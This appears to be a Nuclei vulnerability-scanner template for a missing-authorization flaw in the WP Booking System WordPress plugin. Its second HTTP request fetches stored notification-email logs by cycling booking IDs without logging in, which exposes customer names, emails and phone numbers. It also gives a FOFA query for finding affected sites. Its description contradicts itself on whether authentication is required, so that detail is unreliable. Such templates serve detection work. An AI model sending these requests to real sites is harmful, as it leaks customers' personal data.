CVE-2026-108123: WP Booking System <= 2.1.0.3 - Unauthenticated Email Log Disclosure

id: CVE-2026-108123

info:
  name: WP Booking System <= 2.1.0.3 - Unauthenticated Email Log Disclosure
  author: 0x_Akoko
  severity: high
  description: |
    WP Booking System – Booking Calendar plugin for WordPress <= 2.1.0.3 contains an authorization bypass caused by improper user authorization verification, letting unauthenticated attackers read stored notification emails exposing customer PII, exploit requires authenticated Subscriber-level user.
  impact: |
    Attackers can access sensitive customer PII including names, emails, phone numbers, and booking details, compromising user privacy and data confidentiality.
  remediation: |
    Update to the latest version beyond 2.1.0.3.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-booking-system/wp-booking-system-2103-missing-authorization-to-unauthenticated-email-log-disclosure
    - https://plugins.trac.wordpress.org/changeset/3750085/wp-booking-system
    - https://wordpress.org/plugins/wp-booking-system/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-108123
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-108123
    epss-score: 0.01024
    epss-percentile: 0.63752
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 5
    vendor: wpbookingsystem
    product: wp-booking-system
    fofa-query: body="/wp-content/plugins/wp-booking-system/"
  tags: cve,cve2026,wordpress,wp-plugin,wp-booking-system,exposure,unauth,missing-auth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "plugins/wp-booking-system")'
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-post.php?wpbs_action=email_logs&booking_id={{bid}}&email_log_id=0 HTTP/1.1
        Host: {{Hostname}}

    payloads:
      bid:
        - 1
        - 2
        - 3
        - 4

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "wpbs-table-first-row")'
          - 'contains(body, "text-align:left")'
        condition: and
# digest: 4a0a004730450220206091596f5b7212f2ee3b289762c02d5a80d224e15465a0f47696e84b44b24e022100e284d54c68d6c9e948822e40b89934a7092b95e59a463e76e78e377fcca6a06b:922c64590222798bb761d5b6d8e72950

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